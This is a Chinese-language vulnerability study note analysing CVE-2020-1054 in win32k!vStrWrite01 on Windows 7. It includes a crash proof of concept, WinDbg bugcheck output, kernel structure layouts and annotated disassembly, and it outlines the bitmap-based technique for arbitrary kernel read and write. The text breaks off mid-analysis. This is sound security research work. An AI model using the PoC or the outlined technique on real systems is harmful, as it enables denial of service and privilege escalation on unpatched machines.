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[原创]CVE-2020-1054提权漏洞学习笔记
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发表于: 2022-7-18 15:55
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一.前言
1.漏洞描述
该漏洞存在于win32k!vStrWrite01函数中，该函数在对BitMap对象中pvScan0成员所指向的像素区域进行读写的时候，没有判断读写的地址是否已经越界，即超过了BitMap对象的像素点范围，导致BSOD的产生。通过合理的内存布局，可以利用该漏洞扩大目标BitMap对象的sizlBitmap来扩大该BitMap对象的可读写范围，利用此时被扩大读写范围的BitMap对象来修改另一个BitMap对象的pvScan0就可以实现任意地址读写。
2.实验环境
操作系统：Win7 x64 7601 专业版
编译器：Visual Studio 2017
调试器：IDA Pro, WinDbg
二.漏洞分析
1.POC代码分析
该漏洞的POC代码如下：
VOID POC_CVE_2020_1054()
{
LoadLibrary("user32.dll");
HDC r0 = CreateCompatibleDC(0x0);
// CPR's original crash code called CreateCompatibleBitmap as follows
// HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
// however all following calculations/reversing in this blog will
// generally use the below call, unless stated otherwise
// this only matters if you happen to be following along with WinDbg
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
SelectObject(r0, r1);
DrawIconEx(r0, 0x0, 0x0, (HICON)0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
}
POC代码通过CreateComatibleBitmap对象来创建了一个BitMap对象用来触发漏洞，该函数定义如下：
HBITMAP CreateCompatibleBitmap(HDC hdc, int nWidth, int nHeight);
漏洞触发函数则是DrawIconEx，该函数用于在指定的设备上下文中绘制图像，该函数定义如下：
BOOL WINAPI DrawIconEx(HDC hdc, int xLeft, int yTop, HICON hIcon, int cxWidth, int cyWidth, UINT istepIfAniCur, HBRUSH hbrFlickerFreeDraw, UINT diFlags);
编译运行POC，系统就会产生BSOD错误，以下的部分错误信息：
0: kd> !analyze -v Connected to Windows 7 7601 x64 target at (Tue Jul 12 10:00:11.147 2022 (UTC + 8:00)), ptr64 TRUE ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: fffff906c5000238, memory referenced. Arg2: 0000000000000000, value 0 = read operation, 1 = write operation. Arg3: fffff9600011218a, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000005, (reserved) Debugging Details: ------------------ IMAGE_NAME: win32k.sys TRAP_FRAME: fffff88005386a40 -- (.trap 0xfffff88005386a40) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=fffff900c5000000 rbx=0000000000000000 rcx=fffff906c5000238 rdx=fffff900c06f7fa0 rsi=0000000000000000 rdi=0000000000000000 rip=fffff9600011218a rsp=fffff88005386bd0 rbp=0000000000000000 r8=0000000000000020 r9=fffff96000070000 r10=fffff88005386c30 r11=0000000000000000 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei ng nz na po cy win32k!vStrWrite01+0x36a: fffff960`0011218a 418b36 mov esi,dword ptr [r14] ds:00000000`00000000=???????? STACK_TEXT: nt!RtlpBreakWithStatusInstruction nt!KiBugCheckDebugBreak+0x12 nt!KeBugCheck2+0x71e nt!KeBugCheckEx+0x104 nt! ?? ::FNODOBFM::`string'+0x44891 nt!KiPageFault+0x16e win32k!vStrWrite01+0x36a win32k!EngStretchBltNew+0x164a win32k!EngStretchBlt+0x797 win32k!EngStretchBltROP+0x5fe win32k!BLTRECORD::bStretch+0x623 win32k!GreStretchBltInternal+0xa37 win32k!BltIcon+0x18f win32k!DrawIconEx+0x3b1 win32k!NtUserDrawIconEx+0x14d nt!KiSystemServiceCopyEnd+0x13 USER32!NtUserDrawIconEx+0xa USER32!DrawIconEx+0xd9
根据错误信息可以知道，产生BSOD错误的代码地址位于win32k!vStrWrite01偏移0x36A处，产生原因是对不合法的地址，即0地址进行读取操作。
2.vStrWrite01函数分析
在NT4源码中可以找到vStrWrite01函数的定义如下：
VOID vStrWrite01(STRRUN *prun, XRUNLEN *pxrlEnd, SURFACE *pSurf, CLIPOBJ *pco)
其中，与漏洞相关的前三个参数定义如下：
typedef struct _XRUNLEN
{
LONG xPos;
LONG cRun;
LONG aul[1];
} XRUNLEN;
typedef struct _STRRUN
{
LONG yPos;
LONG cRep;
XRUNLEN xrl;
} STRRUN;
typedef struct tagSIZE {
LONG cx;
LONG cy;
} SIZE,*PSIZE,*LPSIZE;
typedef SIZE SIZEL;
typedef struct _BASEOBJECT64{
ULONG64 hHmgr; // 0x00
ULONG32 ulShareCount; // 0x08
WORD cExclusiveLock; // 0x0A
WORD BaseFlags; // 0x0C
ULONG64 Tid; // 0x10
} BASEOBJECT64;
typedef struct _SURFOBJ64{
BASEOBJECT64 baseObj; // 0x00
ULONG64 dhsurf; // 0x18
ULONG64 hsurf; // 0x20
ULONG64 dhpdev; // 0x28
ULONG64 hdev; // 0x30
SIZEL sizlBitmap; // 0x38
ULONG64 cjBits; // 0x40
ULONG64 pvBits; // 0x48
ULONG64 pvScan0; // 0x50
ULONG32 lDelta; // 0x58
ULONG32 iUniq; // 0x5C
ULONG32 iBitmapFormat; // 0x60
USHORT iType; // 0x64
USHORT fjBitmap; // 0x66
} SURFOBJ64;
根据WinDbg的错误信息可以在IDA中定位到触发错误的代码，在触发错误的代码上面不远处就可以看到，读取的内存地址由rcx与rax决定，所以就需要分析rcx与rax的计算才能知道读取的内存地址。
在vStrWrite01函数首先对参数进行赋值，并判断相关参数是否条件，这里的三个跳转都不会进行：
.text:FFFFF97FFF0A5118 ; void __fastcall vStrWrite01(struct _STRRUN *prun, struct _XRUNLEN *pxrlEnd, struct SURFACE *pSurf, struct _CLIPOBJ *pco) .text:FFFFF97FFF0A5118 ?vStrWrite01@@YAXPEAU_STRRUN@@PEAU_XRUNLEN@@PEAVSURFACE@@PEAU_CLIPOBJ@@@Z proc near .text:FFFFF97FFF0A5118 test rdx, rdx ; 判断pxrlEnd是否为NULL .text:FFFFF97FFF0A511B jz locret_FFFFF97FFF0A560E .text:FFFFF97FFF0A5143 lea rax, [rcx+8] ; eax = prun->xrl .text:FFFFF97FFF0A5147 mov rbx, r9 ; rbx = pco .text:FFFFF97FFF0A514A mov r15, r8 ; r15 = pSurf .text:FFFFF97FFF0A5152 mov rdi, rax ; rdi = prun->xrl .text:FFFFF97FFF0A515A mov rsi, rcx ; rsi = prun .text:FFFFF97FFF0A515D test rbx, rbx ; poc是否为NULL .text:FFFFF97FFF0A5160 jnz loc_FFFFF97FFF0A53AC .text:FFFFF97FFF0A53C7 mov ebp, [rsi] ; ebp = prun->yPos .text:FFFFF97FFF0A53DE mov r11d, [rsi+4] ; r11d = prun->xrl->cRun .text:FFFFF97FFF0A53FA mov eax, [r15+58h] ; eax = pSurf->lDelta .text:FFFFF97FFF0A53FE imul eax, ebp ; eax = pSurf->lDelta * prun->yPos .text:FFFFF97FFF0A5401 movsxd rcx, eax ; rcx = pSurf->lDelta * prun->yPos .text:FFFFF97FFF0A5404 add rcx, [r15+50h] ; rcx = pSurf->lDelta * prun->yPos + pSurf->pvScan0 .text:FFFFF97FFF0A5408 mov [rsp+0A8h+var_rcx], rcx ; 保存rcx的数值 .text:FFFFF97FFF0A540D test r11d, r11d ; 判断prun->yPos是否为0 .text:FFFFF97FFF0A5410 jz loc_FFFFF97FFF0A55F7
将r11d减一，也就是将保持的prun->xrl->cRun减一，之后就开始计算rcx和rax，在用rcx和rax来计算r14，即计算之后要读取的内存地址：
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